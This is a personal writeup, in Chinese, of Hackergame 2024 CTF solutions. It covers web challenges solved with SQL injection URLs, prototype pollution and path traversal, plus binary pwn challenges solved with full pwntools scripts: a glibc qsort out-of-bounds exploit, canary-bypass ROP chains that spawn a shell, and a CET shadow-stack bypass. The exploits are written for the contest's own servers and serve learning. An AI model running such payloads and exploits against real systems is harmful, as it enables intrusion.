Hackergame 2024 - Writeup
milkory

第一次参加 hackergame,虽然分数连 20% 都没拿到,不过还是很开心的,明年再加油吧,争取多打一点 General 和 Math。

1
2
当前分数:3050, 总排名:155 / 2460 ,中山大学组内排名:10 / 90
AI:0 , binary:850 , general:950 , math:150 , web:1100

Web

签到

怎么办看了下大家的 wp 好像只有我没发现地址栏的参数啊。

1
2
3
for (let el of document.getElementsByTagName('input')) {
el.value = el.placeholder.split(/(: |:)/)[2];
}
1
flag{w31C0mE-7O-HACKer9am3-4nD-ENJ0Y-h@CK!N9-Zoz4}

喜欢做签到的 CTFer 你们好呀

https://www.nebuu.la/

  1. 执行 env
  2. 执行 cat .flag
1
2
flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}
flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else}

比大小王

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
fetch('/game', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({}),
})
.then(response => response.json())
.then(data => {
let inputs = [];
for (v of data.values) {
inputs.push(v[0] > v[1] ? '>' : '<');
}
setTimeout(() => {
fetch('/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
inputs,
}),
})
.then(response => response.json())
.then(data => console.log(data));
}, 10000);
});
1
flag{i-Am-TH3-H4cK3r-kin9-0F-comp4R!ng-nUmBErS-ZoZ4}

Node.js is Web Scale

原型链污染。设置 __proto__.misakacat /flag ,再访问 /execute?cmd=misaka 得到 flag。

1
flag{n0_pr0topOIl_50_U5E_new_Map_1n5teAD_Of_0bject2kv_f907fcd5dc}

禁止内卷

环境开启了自动重载,同时源码显然存在目录穿越,直接修改 ../web/app.py 即可执行任意代码。

1
flag{uno!!!!_esrever_now_U_run_MY_c0def2d96ab220}

PaoluGPT

SQL 注入。

  1. 访问 /view?conversation_id=' or contents like '%flag%' and shown=true or '1'='
  2. 访问 /view?conversation_id=' or shown=false or '1'='
1
2
flag{zU1_xiA0_de_11m_Pa0lule!!!_f5bd65b87e}
flag{enJ0y_y0uR_Sq1_&_1_would_xiaZHOU_hUI_guo_59f2c6ab6a}

General

猫咪问答(Hackergame 十周年纪念版)

  1. https://lug.ustc.edu.cn/wiki/sec/contest.html

    10 月 17 日 周六晚上 19:30 3A204 网络攻防技巧讲座

  2. https://lug.ustc.edu.cn/news/2019/12/hackergame-2019/

    经统计,在本次比赛中,总共有 2682 人注册,1904 人至少完成了一题。

  3. https://github.com/ustclug/hackergame2018-writeups/blob/master/misc/others.md

    程序员的自我修养”已经成为了图书馆本月热搜词的第一名

  4. https://www.usenix.org/conference/usenixsecurity24/presentation/ma-jinrui

    16 个邮箱服务和 20+1 种客户端,共 336 种组合

  5. https://lore.kernel.org/netdev/2m53bmuzemamzc4jzk2bj7tli22ruaaqqe34a2shtdtqrd52hp@alifh66en3rj/T/

    6e90b675cf942e (“MAINTAINERS: Remove some entries due to various compliance requirements.”)

  6. https://lunary.ai/llama3-tokenizer

    显示 1835,但不对;上下调整了会,最后答案是 1833

1
2
flag{a_gooD_Cα7_1S_7h3_©@t_ωho_©ΛN_Pa55_tHE_Qบ!2}
flag{TEn_Y3@R$_0ƒ_h@Ck3Яg@m3_0Mede7Oบ_wi7H_NEko_qบ!2}

打不开的盒

在线工具查看模型即可。

1
flag{Dr4W_Us!nG_fR3E_C4D!!w0W}

PowerfulShell

当前目录位于 /players ,同时 $-hB ,取其中两个字符为 sh 即可。

1
2
3
4
PowerfulShell@hackergame> __=~
PowerfulShell@hackergame> ${__:7:1}${-:1-1:1}
cat /flag
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_87f155cdd4}

旅行照片 4.0

LEO_CHAN?

  1. 东校区西门
image
  1. https://www.xiaohongshu.com/discovery/item/6649488700000000160121a9

    链接贴上来发现当前内容仅支持在小〇书 APP 内查看。总之答案是 5.19 东区大礼堂

1
flag{5UB5CR1B3_T0_L30_CH4N_0N_B1L1B1L1_PLZ_cf149039c2}

链上转账助手

转账失败

正反馈最高的一集。

1
2
3
4
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Misaka {}
1
flag{Tr4nsf3r_T0_c0nTracT_MaY_R3v3rt_b2b97f52d9}

不太分布式的软总线

What DBus Gonna Do?

DBus 101。完成课程即送 flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <gio/gio.h>
#include <stdio.h>

int main() {
char *addr = getenv("DBUS_SYSTEM_BUS_ADDRESS");

GError *err = NULL;
GDBusConnection *conn;
conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &err);

if (err) {
printf("conn err: %s\n", err->message);
}

err = NULL;
GVariant *result = g_dbus_connection_call_sync(
conn,
"cn.edu.ustc.lug.hack.FlagService",
"/cn/edu/ustc/lug/hack/FlagService",
"cn.edu.ustc.lug.hack.FlagService",
"GetFlag1",
g_variant_new("(s)", "Please give me flag1"),
G_VARIANT_TYPE("(s)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
NULL,
&err
);

if (err) {
printf("func err: %s\n", err->message);
return;
}

GVariant *value;
g_variant_get(result, "(s)", &value);
g_printf("%s\n", value);
return 0;
}
1
flag{every_11nuxdeskT0pU5er_uSeDBUS_bUtn0NeknOwh0w_0b1a197b4f}

Math

惜字如金 3.0

题目 A

送的,math 防爆零机制,哪里有问题改哪里就行。后面的题目貌似就是数学题了,不会。

1
flag{C0mpl3ted-Th3-Pyth0n-C0de-N0w}

Binary

我们的快排確有問題

https://packetstormsecurity.com/files/176931/glibc-qsort-Out-Of-Bounds-Read-Write.html

qsort 使用快速排序,由于函数 whos_jipiei_is_better 是非传递性的,将触发 qsort 越界读写漏洞,将排序函数设为 doredolaso 里的 gadget,最终引发调用 system("/bin/sh")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import struct
from pwn import *

elf = ELF("./sort_ur_jipei")
libc = ELF("./libc-2.31.so")
context.binary = elf

sh = remote("202.38.93.141", 31341)

token = b""
sh.recvline()
sh.sendline(token)

def i2d(n):
return struct.unpack("d", struct.pack("q", n))[0]

def b2d(b):
return struct.unpack("d", b.ljust(8, b"\x00"))[0]

sh.sendline(str(0x80).encode())
sh.sendline(str(i2d(0x4011DD)).encode() + b" " + b"1 " * 3 + b"3 " * 0x7C)

payload = str(i2d(0x401201)) + " "
payload += "3 " * 0x3E
payload += str(b2d(b"/bin/sh\x00")) + " "
payload += "3 " * 0x40
sh.sendline(payload.encode())

sh.interactive()
1
flag{attacking_our_sYstem_will_not_result_in_Any_repercUssions_f42709b189}

哈希三碰撞

三碰撞之一

0x00 都会被视为 0,输入以下三个数据即可通过。

1
2
3
0x00000000000000
000x000000000000
00000x0000000000
1
flag{341642dbbbdb68f956933ceddfc571}

新生赛上的零解题

canary-bypass

try-catch 利用。首先填充 stack_buf ,为之后栈迁移做准备。之后覆写 vuln 函数返回地址,同时设置 saved rbp 为 0x31338000 ,通过异常处理绕过 canary,跳转到 banner 处,然后返回到 main 函数。此时栈已被劫持,再次绕过 canary 后,通过 ROP 即可 getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

elf = ELF("./canary-bypass")
context.binary = elf

sh = remote("202.38.93.141", 31335)

token = b""
sh.recvline()
sh.sendline(token)

def send(bts):
for i in range((len(bts) + 7) // 8):
sh.sendline(str(int.from_bytes(bts[i * 8 : i * 8 + 8][::-1])).encode())
sh.sendline(str(0x31337).encode())

sh.recvuntil(b"one.\n")

for i in range(0x400):
send(b"")
sh.recvline()

payload = b"a" * 0x20
payload += p64(0x31338000)
payload += p64(0x401F0F)
send(payload)

pop_rax_ret = 0x463DA7
pop_rdi_ret = 0x402F7C
pop_rsi_ret = 0x404669
pop_rdx_rbx_ret = 0x4AF0DB
syscall = 0x410129

payload = b"/bin/sh\x00".ljust(0x20, b"\x00")
payload += p64(0x31338008)
payload += p64(0x401F0F)
payload += p64(pop_rdi_ret) + p64(0x31337FE0)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_rbx_ret) + p64(0) * 2
payload += p64(pop_rax_ret) + p64(0x3B)
payload += p64(syscall)
send(payload)

sh.interactive()
1
flag{0k_bUt_bypass_stackprotector_with_CHOP_wont_work_in_the_latest_t00lchains_aad914e81b}

cet-bypass

和第一题差不多,但是加入了影子栈的安全检查,还提供了一次任意文件读和任意修改一个字节的后门,直接读 /proc/self/maps ,再将影子栈上的返回地址也修改成 banner 函数上的地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

elf = ELF("./cet-bypass")
context.binary = elf

sh = remote("202.38.93.141", 31337)

token = b""
sh.recvline()
sh.sendline(token)

def send_end():
sh.sendline(str(0x31337).encode())

def send(bts):
for i in range((len(bts) + 7) // 8):
sh.sendline(str(int.from_bytes(bts[i * 8 : i * 8 + 8][::-1])).encode())

sh.recvuntil(b"one.\n")

send(b"a" * 0x18)
sh.sendline(b"-") # bypass canary
payload = p64(elf.bss(0x800))
payload += p64(0x4017E0)
payload += p64(0) * 2
payload += b"/bin/sh\x00"
send(payload)
send_end()

sh.sendlineafter(b": ", b"/proc/self/maps")

for i in range(130):
sh.recvline()

shstk_addr = int(sh.recvuntil(b"-", True), 16)
print("shstk @", hex(shstk_addr))
sh.sendline(str(shstk_addr + 0x2FD9).encode())
sh.sendline(str(0x17).encode())

sh.interactive()
1
flag{0k_bUt_th3r3_ve_been_protections_about_this_and_y0u_can_on1y_modify_it_with_wrss_aa70b1ea95}

其实还有很多想做的题目!!可惜比赛的那周实在是抽不开身了,明年想拿到 50% 的分数,可以吗?